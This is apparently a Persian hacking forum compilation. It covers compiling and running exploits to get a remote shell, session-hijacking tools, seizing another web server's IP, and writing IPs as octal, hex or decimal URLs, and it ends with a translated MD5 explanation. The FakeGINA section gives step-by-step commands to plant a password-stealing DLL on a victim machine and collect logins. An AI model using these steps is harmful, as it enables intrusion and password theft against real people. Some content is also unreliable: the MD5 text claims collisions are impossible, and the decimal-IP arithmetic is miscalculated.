آموزش های تخصصی شبکه و امنیت و ضد امنیت
خوب اینم سوال :
سلام من مطالب گوناگونی در باره اکسپلویت ها خوانده ام . ولی هیچکدام نحوه ارسال اکسپلویت به برنامه داخل سیستم قربانی که vul مربوطه را ايجاد کرده را با جزئيات توضيح نداده اند.لطفا اگر شما می دانيد در مورد چگونگيه ارسال يک اکسپلويت که بصورت يک فايل سورس c می باشد با تمام جزييات ( ترجيحا بصورت عملی ) توضيح دهيد .
خوب اول به دوستان تازه کار بگم که اصلا از شنيدن اصطلاحاتی که در موردش چيزی نمی دونيد وحشت نکنيد . من همه رو واستون توضيح می دم . اول در مورده اصطلاحاتی که بهشون احتياج هست توضيح مختصر می دم بعد هم جواب دوستمون رو می دم .
باگ يا vul چيست ؟
به نقطه ضعف ها و حفره های موجود در يک برنامه . سايت يا سيستم عامل يک باگ می گويند . اين باگ ها توسط برنامه نويسان و هکرها کشف شده و پس از کشف يک باگ اکسپلويت آن برای حمله نوشته می شود .
اکسپلويت چيست ؟
اکسپلويت يکسری کد های حمله هستند که با زبان های برنامه نويسيه سی يا پرل نوشته می شن . با اين کد های حمله بعد از کامپايل شدن می شود به باگ ها ( در صورت وجود ) حمله کرد .
کامپايل کردن چيست ؟
وقتی برای حمله به يک باگ در اينترنت به دنبال اکسپلويت آن می گرديد اغلب به يک سورس ( کد ) آن اکسپلويت می رسيد . اين سورس برای شما قابل استفاده نمی باشد و شما بايد برای استفاده آن را کامپايل ( از پسوند c يا pl به exe تغيير دهيد ) شرح اين کار در پايين همين مقاله آمده .
Shell چيست ؟
شل به معنای اتصال از طريق داس به هارد يک کامپيوتر يا شرکت يا سيستم ميباشد . با استفاده از بعضی از اکسپلويت ها می توان از ای پی مورد نظر شل گرفت.
خوب حالا جواب دوستمون :
پارسا جان مثل اينکه شما درباره اکسپلويت به اندازه کافی تحقيق نکرده ايد چون اصلا اکسپلويتی که به صورت سورس است را که برای کسی نمی فرستند .
شما از طريق دو سيستم عامل لينوکس و ويندوز می توانيد اکسپلويت های خود را کامپايل کنيد . توصيه من لينوکسه چون اکثر اکسپلويت ها در اون کامپايل ميشن ولی در ويندوز چون بعضی از هدر ها رو شامل نمی شه نميشه همه اکسپلويت ها رو کامپايل کرد .
اول ويندوز رو می گم :
ما دو نوع اکسپلويت داريم يکی اونايی که با زبان پرل نوشته شدن ويکی هم اونايی که با سی نوشته شدن اول پرل :
به يک برنامه کامپايلر به نام Activeperl احتياج دارين . که برای دانلود می تونيد تو گوگل سرچ کنيد .
برای سی هم که ديگه کاری نداره می تونيد خود برنامه Visual Studio رو نصب کنيد و از همون طريق کامپايلش کنيد . که احتياجی به توضيح نداره .
تو لينوکس رو هم نمی گم چون اکثرا لينوکس ندارين اگه کسی آموزش اونو خواست بگه واسش بنويسم .
خوب حالا که اکسپلويتتون کامپايل شده بايد اونو اجرا کنيد . و شما نمی تونيد اونو با کليک کردن اجرا کنيد چون باز نميشه برای اينکار بايد اکسپلويت کامپايل شده را در دايرکتوری ويندوزتون در پوشه System32 کپی کنيد . و بعد به منوی استار رفته و روی گزينه Run کليک کنيد و سپس تايپ کنيد :
cmd
حالا داس ويندوز باز شده حالا بايد اسم اکسپيويتتون رو تايپ کنيد بطور مثال :
lsas.exe
و اکسپلويت هم نحوه کار رو داخل همون داس ويندوز توضيح می ده که اگه يه کم زبان بلد باشين می فهميد . مثلا همين اکسپلويت بالا. با نوشتن ای پی و يک پورت انتخابی مثل ۶۶۶۹ يا ۵۲۷۷ .نوع سيستم عامل طرف رو به شما می ده و اگر سيستم طرف ويندوز سری ان تی قديمی ( مثلا ماله پارسال ) باشه به پورتی که شما دادين حمله می کنه و کاری می کنه که شما می تونيد با يه تلنت به اون پورت به شل ( Shell) سيستم قربانيتون برسيد
Graphical Identification and Authorization یا به عبارت ساده تر GINA میدانید چه هست ؟؟ در واقع این واسطه ای بین کاربر و سیستم تعیین هویت ویندوز است ، خوب حالا اگر به جای نسخه اصلی آن ما یک نسخه سمی و دستکاری شده قرار بدهیم چگونه است !! بله درست فهمیدید به همین راحتی هر کاربری که به سیستم وارد شود ما به کلمه عبور آن پی میبریم .
به این منظور من به شما یک نوع Fake GINA را معرفی میکنم ، قبل از هر چیز به Ntsecurity.nu بروید و FakeGina.dll را که Arne Vidstrom نوشته را دریافت کنید ، خوب ما فکر میکنیم شما به سیستم دسترسی دارید و امتیاز شما در حد یک مدیر است ، در این هنگام با استفاده از دستور زیر FakeGina.dll را در پوشه %SystemRoot%\system32 کپی میکنید (روی قربانی!!) .
- C:\>copy fakegina.dll \\ 10.1.1.3\admin$\system32
خوب حالا یک نگاهی به Resource Kit های بیلی می اندازیم و ابزار reg.exe را پیدا میکنیم و با سوءاستفاده از آن مقدار زیر را به Registry قربانی وارد میکنیم . (به مقدار توجه کنید)
- C:\>reg add "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL=fakegina.dll" REG_SZ \\10.1.1.3
خوب حالا نگاهی دوباره به Resource Kit های بیلی می اندازیم و ابزار shutdown را پیدا میکنیم و با سوء استفاده از آن سیستم را دوباره راه اندازی میکنیم .
- C:\>shutdown \\10.1.1.3 /R /T:1 /Y /C
خوب عملیات دزدی به پایان رسید حالا منتظر میشویم یک کاربر به سیستم وارد شود ، وقتی وارد شد کافی است که شما یک نگاهی به فایل%SystemRoot%\system32\passlist.txt بیندازید .
قبل از هر چیز fakegina.dll و passlist.txt را جستجو کنید اگر آنها را یافتید که آنها را نابود کنید ، حال بهتر است یک نسخه GINA سالم را دوباره نصب کنید !! و کلید Registry را به حالت اول باز گردانید . ( البته من توصیه میکنم یک بار دیگه بیلی را روی سیستم خود نصب کنید . )
+ موفق پیروز باشید
امروز قصد دارم یکی از بهترین و حرفه ای ترین منابع امنیتی حال حاضر دنیا رو به شما علاقه مندان و دوستاران به علم و هنر هک آشنا کنم .این سایت معرف است به انتخاب هکر هاThe hacker’s Choice جمعی از هکر های جوان آلمانی در دورانتحصیل خودبرای گذراندن اوقات فراقت خود این گروه را ایجاد کردند بعد از گذشت 10 سال هر کدام از این هکر های جوان هم اکنون خود یک پا متخصص امنیتی کامل شده اند و برای سازمان های دولتی مهمی مشغول به فعالیت هم هستند گفته میشود که چند تن از اعضای اصلی این گروه نیز عضو تیم بین المللی نت اسکای میباشند که درستی این مطلب با توجه به برتری و کلاس کاری هکر های این گروه نسبت به دیگر گروه های آلمانی قابل تایید است همانطور که می دانید یکی از کشورهای صاحب هکر های کلاس بالا کشور آلمان است گروه THC یکی از معدود گروه های باقیمانده از دهه 90 میلادی است چند گروه معدود آلمانی نیز از دهه هشتاد میلادی به این طرف هنوز در حال فعالیت هستند ولی اکثر هکر ها و گروه های هکری المان از سال 2000 به این طرف مشغول به فعالیت شده اند لازم به ذکر است که این گروه یکی از ده گروه برتر هک در اجلاس هکرهای کلاه مشکی در سال گذشت میلادی برگزیده است(البته عزیزان به مفهوم اصلی هک یعنی فعالیت هایی همچون تحقیقات امنیتی ارائه برنامه های امنیتی و اعلام آسیب پذیری ها و رفع آنها اشاره نمود نه استناد به سایت هایی همانند زون –آچ و غیره ..مفهوم هک در اینجا چیزی بالاتر از جمله This Site Hacked By… می باشد ) .از نظر من هم واقعا این گروه واین سایت می تواند موردانتخاب هکر ها قرار گیرد .این سایت دارای چندین دایرکتوری است که ازمهمترین آنها می توان به دایرکتوری های Papersکه شامل مقالات ارائه شده تو سط اعضای تیم است حتما به این بخش سری بزنید ضرر نخواهید نمود اطلاعات مفید و کاربردی بسیاری را خواهید یافت در تعدادی از این مقالات بعضی متد های جدید هم آموزش داده شده اند بخش بعدی قسمت Release است این بخش هم یکی از پرطرفدارترین بخش های سایت است شما در این سایت با برنامه های امنیتی و هکینگ متعددی که توسط خود اعضای این گروه تهیه و توزیع شده اند آشنا می شوید
چیزی که در مورد این پایگاه اطلاعاتی جالب است هماهنگی بین مقالات گروه و ابزار های ارائه شده است اگر در مقاله ای به ابزار خاصی اشاره شده باشد یا همان ابزار توسط خود اعضای اصلی گروه ایجاد و در اختیار عموم گذاشته شده است و یا در صورت وجود برنامه های متشابه به معرفی اجمالی انها می پردازد
در ادامه من شما را با یک برنامه مربوط به هک سیستمهای تلفنی آشنا میکنیم می توانید آنرا از همین بخش دریافت کنید .از دیگر بخش ها که یکی از قسمت های اصلی و مورد توجهSecurity Managers و اسکریپت کیدی ها هم هست . بخش ارائه ی سورس اکسپلویت های تهیه شده توسط همین گروه برای آسیب پذیری هایی بعضا جدید می باشد .شاید شما هم با خیلی از سورس اکسپلویت ها بر خوردنموده اید که توسط گروه امنیتی THC تهیه می شوند یکی از مطالبی که همیشه بایستی در دریافت و کامپایل اکسپلویت ها در نظر بگیرید آنست که خود اکسپلویت حاوی Malicious Codes نباشد تا خود بلای جان کاربران نشود متاسفانه آنچه که بر روی شبکه به وفور یافت می شود از همین قبیل سورس اکسپلویت های الوده به قول دوستان چند بعدی است
آیا راهی به این آسانی نیست که اشخاص کم تجربه در زمینه کدینگ سورس اکسپلویت هایی را دریافت کنند و سپس به خیال خام خود آنرا ترجمه کرده و با دست خود سیستمشان را به انواعی از آسیب پیذیری ها همانند درهای پشتی مبتلا سازند .THC یک راه استفاده از منابع معتبر برای دریافت سورس اکسپلویت ها است با مراجعه به اینگونه پایگاهها تا حدی می توانید مطمئن باشید (تا حدی نه مطلق) که مدیران اینگونه پایگا ه ها برای حفظ ابروی علمی خود و سایت معروفشان هم که شده سعی می کنند که موزیگری در برنامه هایشان و همچنین سورس اکسپلویت هایشان در نیاورند . البته از من می شنوید به هیچ سایت بیگانه نمیشود اعتماد کرد براحتی گول اسم بزرگ سایت هایی هم چون Security Focus و غیره را نخورید . به قول یکی از دوستان اینها عاشق چشم و ابروی من و شما نیستند که براحتی برای ما آسیب پذیری کشف کنند و سپس اکسپلویتش را هم در اختیار عموم قرار دهند یا همینجوری برنامه های امنیتی را تهیه نموده و در اختیار ما قرار دهند بلکه به دنبال منافع اطلاعاتی خود هم می گردند در اپدیت های بعدی اگر امکانش بود شما عزیزان را با نمونه هایی مشهوری از این موزیگری شرکت های تولید کننده نرم افزار ها امنیتی و غیره امنیتی آشنا خواهیم نمود مثلا یک نمونه کوچک دزدی اطلاعات شرکت AOL از چندین میلیون کاربر مسنجر خود بود به نحوی که کاربران تحت عنوان نصب یک پچ امنیتی مسنجر به شرکت این اجازه را میدادند که یک سری اطلاعات حساس سیستم هایشان جمع آوری و در دیتایس های شرکت جمع آوری بشوند همین موضوع AOL را نیز یک کراکر نرمافزاری کشف کرده بود حالا به نظر شما ایا می توانید به این همه security Scanner ها که در دست شما عزیزان همه روزه قرار میگیرند اطمینان کامل کنید. حتی به سیستم عامل خود 100% اطمینان دارید ؟!؟!؟!؟ (ببینید در پشت پرده چه خبر است...)
سعی تان بر این باشد که تا حد ممکن از بلاگ ها یا سایت های غیر معتبر سورس های اکسپلویت یا برنامه های امنیتی را دریافت ننمایید با توجه به مطالب فوق بخش اکسپلویت THCو بخش برنامه ها جزو بخش هایی هستند که می توانید تا حد زیادی اطمینان داشته باشید به صحت و درستی عملکردشان ولی بازاحتیاط شرط عقل است
اگر به فرض مثال خواستید یک برنامه اسکنر به عنوان Netrecon را دریافت کنید سعی کنید که ار خود سایت مادر یعنی سیمانتک در یافت کنید نه از سایت هایی مثل پلنگ هکر یا .. البته عده ای هم هستند که حتی به صحت نرم افزار ها از خود سایت های اصلی هم شک دارند و آنها را هم تست میکنند
بخش دیگری در THC هم به نام root در دسترس می باشد که خود از چندین بخش داخلی تشکیل میشود این بخش تا حدودی به صورت عمومی تری به منابع و اطلاعات دیگر سایت ها و همچنین ارائه یک سری تصاویر و هم یک سری ابزار و اسکنرهای دیگر حتما سری هم به این بخش بزنید .در کل پایگاه THC یکی ار معروفترین ها در زمینه امنیت اطلاعات میباشد
: چند تن از دوستان در مودر برنامه های War Dialing سوالاتی کرده بودند من تصمیم گرفتم که از خود همین پایگاه هم یک ابزار تهیه شده توسط این گروه را معرفی کنم و همچنین یک آموزش تصویری کامل از این ابزار ,نام این ابزار میباشد حجم این برنامه در حدود 540 KB می باشد (برای دریافت برنامه فوق از استفاده نمایید
آموزش تصویری کامل این برنامه هم در بخش video قابل دریافت است برای دریافت آموزس تصویری ابن ابزار از لینک http://thc.org/root/phun/video/thc-scan2.avi
استفاده نمایید .حجم این آموزش تصویری در حدود 8.5 MB است برای مشاهده این اموزش نیاز به codec تصویری DivX خواهید داشت امیدوارم که با استفاده از منابع موجود دراین پایگاه از قبیل این برنامه و آموزش تصویری مورد نظر بعضی از نیاز های علمی خود را برطرف کنید .
Session Hijacking :
اگر بخواهم ترجمه فارسی آن را بنویسم باید بگویم " دزدی جلسه " همانگونه که از ترجمه بنده درک کردید این در واقع یک دزدی است تا یک حمله !! در واقع این حمله ترکیبی ماهرانه از دو مدل حمله استراق سمع و دزدیدن IP است (IP Spoofing , Sniffing) البته بنده به هیچ عنوان قسط کالبد شکافی این دو حمله را ندارم ولی در آینده توضیح خواهم داد ؛ بریم سر اصل مطلب خوب توجه کنید :
در نظر بگیرد من دارم با یک سرویس FTP(یا هر سرویس دیگری) فعل و انفعالاتی را انجام میدهم مثل تمام کارها برای این کار باید احراز هویت بشوم ( منظورم USER و PASS است ) . حال اگر کاربری مثل شما !! خودش را یک باره به جای من جا بزند و ادامه کار من را انجام دهد یا کار مورد نظر خودش را با حق دسترسی من (هر اندازه ای که من مجوز دارم) چگونه است ؟ در واقع به این عمل دزدی جلسه (Session Hijacking) میگویند . این تشریحی ساده و عامیانه برای آشنای شما با اینگونه حملات است .
یک نکته مهم را ذکر کنم که جدیداً با آمدن ابزار های بسیار قوی همچون ... میتوان نشست را به گونه ای دزدید که دستورات شما بر روی سرور اجرا شود و حتما نیازی نیست که شما دارای مجوز لازم باشید (هر دو خانواده UNIX و WIN2K ها ) ، این هم بدیهی است که شما میتوانید به راحتی خود را جای سرور جا زده و حتما ارتباط طرف را قطع نکنید و به استراق سمع بپردازید و دستورات مورد علاقه خود را روی کلاینت اجرا کنید . اگر شما موفق به انجام این حمله شوید و اطلاعات مفیدی در باره انواع حملات (مخصوصا حمله به لایه های پایینی شبکه ) داشته باشید باید اشهد آن سرور را *** ناک خواند !!
اگر بخواهیم چند ابزار به درد بخور را برای اینگونه حملات معرفی کنم میتوانم به ابزارهای و و Session Hijacking و Juggernaut و IP Watcher و TTY Watcher و TTY Snoop اشاره کرد فکر میکنم بستان باشد !!
نکته : آقایان به شدت دقت کنید چون اگر به جای ***ی بزنید و بی تجربه باشید و درست ابزار ها را پیکر بندی نکنید یک طوفان ACK راه میاندازید ( یا اگر از Juggernaut و یا IP Watcher استفاده کنید ) که زود ..... البته خود این طوفان ACK یک نوع حمله DOS است (نه DDOS) که باید در مجال دیگری دوستان به ان بپردازند !!
تغيير IP و حفظ خود از حملات DoS و DDoS (Changing IP and Protecting from DoS and DDoS attacks):
سلام به همه، براي تغيير IP روش ها و نرم افزارها مختلفي وجود دارد ولي من مي خوام يكي از آسون ترين روش ها رو بگم:
A: اطلاعات مورد نياز (Needed Information)
1. قبل از هر چيز بايد يك مختصر توضيح در مورد Range IP بدونيد. هر ISP داراي يك Range IP مي باشد (بنابرنوع ISP تعداد IP مي تواند بيشتر هم باشه - برميگرده به بحث همون كلاسهاي IP). هر موقع كه شما به اينترنت Connect ميشويد ISP شما به طور تصادفي يك IP به PC شما مي دهد (اين مطلب در مورد Dial-Up Users صدق مي كنه). مثل اين IP:
213.217.219.169
البته بايد بدانيد كه در هر Range IP فقط رقم آخر (8 بيت آخر) IP تغيير مي كنه. مثلا اگر PC ديگري بخواهد به اينترنت با همان ISP وصل شود، IP آن كامپيوتر بين دو IP زير خواهد بود:
213.217.219.1 < 213.217.219.xxx < 213.217.219.255
2. Subnet Mask، Default Gateway و DHCP Server (اينها رو در مقاله مفصلي كه درباره ي TCP/IP بود توضيح دادم ولي باز هم مي گم):
خوب براي پيدا كردن IP هاي Subnet Mask و Gate Way و DNS Server يك راه خيلي ساده هست. در Command Prompt تايپ كنيد:
ipconfig/all
كه تمام اطلاعات مورد نياز رو به شما ميده. لطفا اين اطلاعات را جاي يادداشت كنيد (يا Print Screen بگيريد)، چون بعدا از اينها استفاده ميشه. مثلا:
Host Name . . . . . . . . . . . . : My Computer Name Here
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS ***** Enabled. . . . . . . . : No
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : xxxx.xx.x
Description . . . . . . . . . . . : NETGEAR FA310TX Fast Ethernet Adapter (NGRPCI)
Physical Address. . . . . . . . . : XX-XX-XX-XX-XX-XX
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 24.xxx.xxx.xx
Subnet Mask . . . . . . . . . . . : 255.255.240.0
Default Gateway . . . . . . . . . : 24.xxx.xxx.x
DHCP Server . . . . . . . . . . . : 24.xx.xxx.xx
DNS Servers . . . . . . . . . . . : 24.xx.xxx.xxx
24.xx.xxx.xx
24.xx.xxx.xxx
Lease Obtained. . . . . . . . . . : Monday, January 20, 2003 408 PM
Lease Expires . . . . . . . . . . : Tuesday, January 21, 2003 316 AM
B: IP هاي مرده (Dead IP):
Dead آن دسته از IP هايي هستند كه به PC خاصي تعلق ندارند و بدون كاربر هستند. شما مي توانيد IP خودتون را به هر Dead IP ديگر تغيير بدهيد. براي اينكه از Dead بودن يك IP مطمئن باشيد در Command Prompt عبارت زير را تايپ كنيد:
ping -n 10
پس از تايپ و فشردن كليد Enter، اگر در جواب "Time Out" ديديد، يعني اينكه IP مورد هر 10 تبادل ping "Time Out" باشه.
تذكر: دوستاني كه Dial-Up به اينترنت وصل مي شوند بايد بدونيد كه در بعضي مواقع به دلايل مختلف مثل: پائين بودن سرعت، بسته بودن پورت هاي مربوط بهICMP ، داشتن firewall و ... از ping كردن يك IP، "Time Out" مي گيريد كه دليل بر dead بودن آن IP نيست.
C: Change your IP:
براي اين كار نياز به هيچ نرم افزاري نداريد. اين كار با خود ويندوز عملي هست. به آدرس زير برويد:
My Computer > Control Panel > Network Connection
خوب حالا Connection مورد نظر خودتون رو انتخاب كنيد. روي آن Right-Click كنيد و قسمت "Properties" را انتخاب كنيد. حالا برگه (tab)، "Networking" را انتخاب كنيد و روي پروتكل "Internet protocol (TCP/IP)" دوبار كليك كنيد و برگه "General" را انتخاب كنيد. حال قسمت "Use the following IP Address" را فعال كنيد. در IP Address، يك Dead IP بنويسيد. مثل:
0.0.0.1-254
يا يك چيزي شبيه به آن.
حال در قسمت "Use the Following DNS sever" دو IP مربوط به DNS كه به دست آورديد رو وارد كنيد. اين براي ويندوز XP بود. اگه از ويندوز 2000 يا ويندوزهاي ديگر استفاده مي كنيد، بايد IP هاي مربوط به Gateway و Subnet Mask رو هم وارد كنيد كه از "ipconfig/all" به دست آورديد.
سوال: حالا براي خودم اين سوال پيش اومده و اون اينكه اگر من IP خودمو به يك Dead IP كه از Range IP خودم هست تغيير بدم و بعد 1 يا 2 ساعت يا هر چند ساعت، ISP به يك PC ديگر آن IP را بدهد، اون وقت چي ميشه؟
مثلا IP خودم، 213.213.213.213 هست و dead ip هم باشه 213.213.213.212. حالا اگر ISP اين IP رو به يك PC ديگر بده من DC ميشم يا هيچ اتفاقي نمي افته؟
D: IP Steal from WebServer:
دوستان از همين روش مي شود IP دزدي هم كرد. اگه شما كسي رو روي Range IP خودتون مي شناسيد كه يك Web Server باز كرده و قبلا اعصابتون رو خورد كرده يا شما فقط مي خواهيد يه مقدار شلوغ بازي دربياريد، ميتوانيد IP اون رو بدزديد.
به اين ترتيب هر DNS كه به اون IP بره به جاي سايت اون، سايت شما رو نشون ميده. چون شما خودتون يه Web Server باز خواهيد كرد!!
دزديدن يك IP اساسا استفاده از همون روش تغيير آدرس IP بالا و انتخاب يك IP هست كه يكي كه يه Web Server باز كرده، داره استفاده مي كنه. اغلب شما مي توانيد آن IP رو حداقل براي مدتي نگه داريد، در بقيه موارد شما نمي توانيد از آن استفاده كنيد. بنابراين به تلاش خودتون ادامه بديد تا كار كنه. شما نياز داريد خودتون يك Web Server روي پورت مشابه اون داشته باشيد. شما مي توانيد اين كار رو با سرويس هاي ديگر هم انجام بديد. همچنين شما مي توانيد اون IP كه تلاش مي كنيد بدزدين DoS يا DDoS كنيد تا از شبكه شوتش كنيد بيرون! ولي من اين كار رو توصيه نمي كنم، چون تقريبا غير قانونيه!
روش هايي براي تغيير IP:
با اين روش ها مي توانيد ظاهر IP خودتون را به اعداد ديگر يا اعداد همراه حروف لاتين تغيير بديد (!!!)
برنامه مورد نياز:
Calculator:
Start > Programs > Accessories > Calculator
A: Oct IP (Octet IP- IP هشتايي):
Example: 0330.0163.0154.0365
IP استفاده شده در اين مثال مربوط به سايت yahoo.com است (66.218.71.90)
برنامه ماشين حساب را اجرا كرده و از منوي View، قسمت Scientific را انتخاب كنيد. Dec را انتخاب و قسمت اول IP (66) را وارد كنيد. سپس روي Oct كليك كنيد. مي بينيد كه عدد 66 به 102 تغيير يافت. براي بقيه قسمت هاي IP نيز اين كار رو بكنيد:
66 =102
218 =332
71 =107
90 =132
حال اگر در Browser خودهر يك از لينك هاي زير را وارد كنيد، وارد سايت ياهو مي شويد:
http://www.yahoo.com/
http://66.218.71.90/
http://0102.0332.0107.0132/
http://000102.000332.000107.000132/
روش ديگر: IP در اصل يك عدد 4 رقمي در مبناي 256 هست كه ارقامش رو با نقطه از هم جدا كرده ايم. مثل زير:
A.B.C.D
حال اگر اين عدد كه در مبناي 256 هست رو به مبناي 10 ببريم باز هم كار IP رو مي كنه. يعني مي توانيد از يك عدد ساده هفت يا هشت رقمي به جاي IP استفاده كنيد. اگر كسي خواست اين كلك را به شما بزنه، چه كار مي كنيد؟ خوب ساده است! عدد رو از مبناي 10 به مبناي 256 ببرين تا IP به دست بياد. مثلا اين IP به مبناي 10 تبديل شده:
IP : 213.217.29.54
Base10 : 3587775798
براي تبديل IP به مبناي 10 و تبديل مبناي 10 به IP دو برنامه وجود داره كه اگر خواستيد لينك مي دم (ولي با ماشين حساب هم ميشه ديگه گير نديد زياد).
B: Dec IP:
برنامه ماشين حساب را اجرا كرده و آن را در حالت علمي قرار دهيد. حال قسمت Dec را انتخاب كرده و قسمت اوليه IP (66) را وارد كنيد. سپس اعداد فوق را در 16777216 ضرب كنيد. جواب به صورت 1107296256 مي شود.
اين اعداد را يادداشت كنيد براي بقيه قسمت ها هم به صورت فوق عملكنيد.
(First Part) 66 * 16777216 = 1107296256
(Sec Part) 218 * 65536 = 65754
(Third Part) 71 * 256 = 18176
(Fourth Part) 90 * 1 = 90
حال اين اعداد را با هم جمع كنيد:
1107296256 + 65754 + 18176 + 90 = 1107380276
عدد حاصله IP در مبناي Decimal هست. حال اگر شما روي هر يك از لينك هاي زير كليك كنيد. وارد سايت ياهو مي شويد:
http://www.yahoo.com/
http://66.218.71.90/
http://1107380276/
C: Hex IP:
Example: http://0x42.0xda.0x47.0x5a/ or http://0x42da475a/
اين مدل از IP خيلي جالب هست. برنامه ماشين حساب را اجرا كرده و آنرا در حالت علمي قرار دهيد. Dec را انتخاب و قسمت اوليه IP (66) را وارد كنيد سپس روي Hex كليك كنيد (عدد به 42 تبديل مي شود). براي بقيه قسمت هاي IP نيز روش فوق را انجام دهيد:
66 = 42
218 = DA
71 = 47
90 = 5A
عدد حاصله را به ترتيب زير مرتب كنيد:
42DA475A
حال اين عدد به دو صورت قابل استفاده است. اگر روي هر يك از لينك هاي زير كليك كنيد وارد سايت yahoo مي شويد:
http://www.yahoo.com/
http://66.218.71.90/
http://0x42.0xda.0x47.0x5a/
http://0x42da475a/
D: Bin IP:
Example: http://1000010110110100100011101011010/
اين صورت IP در بيشتر سيستم ها و Browser ها كار نمي كند!
برنامه ماشين حساب را اجرا كرده و آن را در محيط علمي تنظيم كنيد. Dec را انتخاب كرده و IP خود را به Hex IP (دربالا گفته شد) تبديل كنيد.
Hexed IP: 42DA475A
سپس روي C بزنيد و Hex را انتخاب كنيد و عدد Hex شده را وارد كنيد. حال روي Bin بزنيد عدد به صورت زير نمايان مي شود:
Binary IP: 1000010110110100100011101011010
اگر Browser و ISP شما اين نوع IP را Support كند، با كليك بر روي لينك زير وارد سايت ياهو مي شويد:
http://1000010110110100100011101011010/
اميدوارم مورد استفاده قرار بگيره
مقاله ایی که اینجا میدم مقاله ایی فوق حرفه ایی برای برنامه نویسان است که که برنامه امنیتی MD5 و هش های آن توضیح داده میشود ....
مترجم: امید متقی راد – omid@oxygenws.com – http://www.oxygenws.com
فهرست:
1- خلاصه
2- شرایط و نکات لازم
3- توضیحات الگوریتم MD5
4- نتیجه
5- پا نویس
1- خلاصه:
در این مقاله با الگوریتم "خلاصه پیام MD5" آشنا می شویم. این الگوریتم یک رشته با طول متفاوت را به عنوان ورودی می گیرد و یک "خلاصه پیام MD5" یا "اثر انگشت" با طول 128 بیت می سازد.
در این روش اینکه دو پیام مختلف دارای یک "خلاصه پیام" باشند یا اینکه یک رشته از روی یک "خلاصه پیام" ساخته شود غیر ممکن می باشد. این الگوریتم برای امضاهای دیجیتال مناسب است، جایی که احتیاج به خلاصه کردن یک فایل بزرگ در یک رشتهء امن و فشرده، قبل از کد کردن آن متن، در سیستم های کدینگ، با کلید های خصوصی و عمومی آن سیستم مانند RSA (Rivest Shamir Adelman)
الگوریتم MD5 برای داشتن سرعت بالا در ماشین های 32 بیتی طراحی شده است در عین حال احتیاجی به جانشینی ها در جداول بزرگ ندارد. این الگوریتم را با کدهای بسیار کمی می توان نوشت.
الگوریتم MD5 توسعه ای از الگوریتم MD4 می باشد با این تفاوت که MD5 کمی کندتر از MD4 عمل می کند اما در طراحی آن بسیار محافظه کارانه عمل شده است.
MD5 به این دلیل طراحی شد که حس کردند MD4 به عنوان سرعت بالایی که داشت پذیرفته شده و از امنیت بالایی در شرایط بحرانی برخوردار نمی باشد. MD4 برای سرعت بالا طراحی شده ولی احتمال شکست آن در رمز کردنی موفق وجود دارد. MD5 کمی در سرعت کند شده با این تفاوت که بیشترین امنیت را داراست. این الگوریتم حاصل تاثیر دادن نظرات تعدادی از استفاده کنندگان MD4 به همراه مقادیری تغییر در ساختار الگوریتم برای افزایش سرعت و قدرت آن می باشد. الگوریتم MD5 در این مکان عومی قرارگرفته تا از آن استفاده و در صورت امکان استاندارد شود.
2- شرایط و نکات لازم:
در این متن منظور از « کلمه» تعداد 32 بیت و «بایت» تعداد 8 بیت داده می باشد. یک صف از بیت ها دارای خصوصیات طبیعی یک صف از بایتها می باشند که هر گروه هشت تایی متوالی از بیتها یک بایت را تشکیل می دهند که پرارزش ترین بیت در ابتدا قرار دارد. یک صف از بایت ها دقیقا مشابه یک صف 32 بیتی از کلمات پردازش می شود. جایی که گروهی 4 تایی از توالی بایتها پردازش می شوند، کم ارزش ترین بایت اولین بایت می باشد.
اجازه بدهید از x_i بجای xi (x اندیس i ) استفاده کنیم و اگر مقدار اندیس یک عبارت محاسباتی بود آن را در {} محدود می کنیم، مانند: x_{i-1} . همچنین از ^ به عنوان علامت توان استفاده می کنیم، پس x^i یعنیx به توان i .
اجازه بدهید از علامت «+» برای اضافه کردن دو کلمه به هم استفاده کنیم. از x<<<5 به عنوان عملگر چرخش بیتی در کلمات استفاده می شود کهx به اندازه 5 بیت به چپ چرخش می کند.
از not (x) به عنوان عملگر نقیض بیتی، از X v Y به عنوان عملگر فصل (or) و از X xor Y به عنوان عملگر exclusive or و از XY به عنوان عملگر عطف (and) استفاده می کنیم.
3- توضیحات الگوریتم MD5:
فرض کنید ما b بیت پیام به عنوان ورودی داریم و تصمیم داریم خلاصه پیام آن را بدست آوریم. b در اینجا یک عدد نا منفی و صحیح است، b می تواند مقدار صفر داشته باشد و هیچ محدودیتی برای مضرب هشت بودن آن نیست و به هر اندازه می تواند بزرگ باشد. فرض کنید بیت های این پیام را بشود به صورت زیر نوشت:
m_0 m_1 ... m_{b-1}
برای آوردن خلاصه پیام 5 مرحله زیر را انجام می دهیم:
گام 1- اضافه کردن بیتهای نرم کننده:
طول پیام مورد نظر به 448 به پیمانه 512 توسعه پیدا می کند به این معنی که اگر به طول پیام 64 بیت اضافه شود، طولش مضربی از 512 خواهد بود. عمل توسعه دادن همیشه اجرا می شود مگر اینکه طول پیام به صورت 448 به پیمانه 512 باشد.
عمل توسعه پیام یا نرم کردن آن به صورت زیر انجام می شود:
یک بیت [1] سپس تعدادی بیت [0] به پیام اضافه می شود.اضافه شدن بیت های 0 تا زمانی که طول رشته به 448 بر پایه 512 برسد، ادامه پیدا می کند. در این عمل حداقل یک بیت و حداکثر 512 بیت اضافه خواهد شد.
گام 2- افزایش طول:
یک نمایش 64 بیتی از b بیت پیام اولیه به آخر نتیجه گام قبل اضافه می شود. در بدترین حالت، b بزرگتر از 64 بیت خواهد بود. در این حالت فقط 64 بیت کم ارزش b استفاده خواهد شد.
هم اکنون طول پیام بدست آمده دقیقا معادل مضربی از 512 خواهد بود. مشابه اینکه بگوییم، این پیام طولی معادل مضربی از16 کلمه دارد اجازه بدهید M[0…N-1] را نمایانگر کلمات پیام بدست آمده بدانیم. (N مضربی از 16 می باشد.)
گام 3- یین بافر برای MD:
برای محاسبه خلاصه پیام یک بافر 4 کلمه ای (A,B,C,D) استفاده می شود. هر کدام از A، B، Cو D یک ثبات 32 بیتی می باشند. این ثبات ها مطابق جدول زیر مقدار دهی می شوند ( بایتهای کم ارزش در ابتدا قرار دارند )
word A: 01 23 45 67
word B: 89 ab cd ef
word C: fe dc ba 98
word D: 76 54 32 10
گام 4- پردازش پیام در بلاک های 16 کلمه ای:
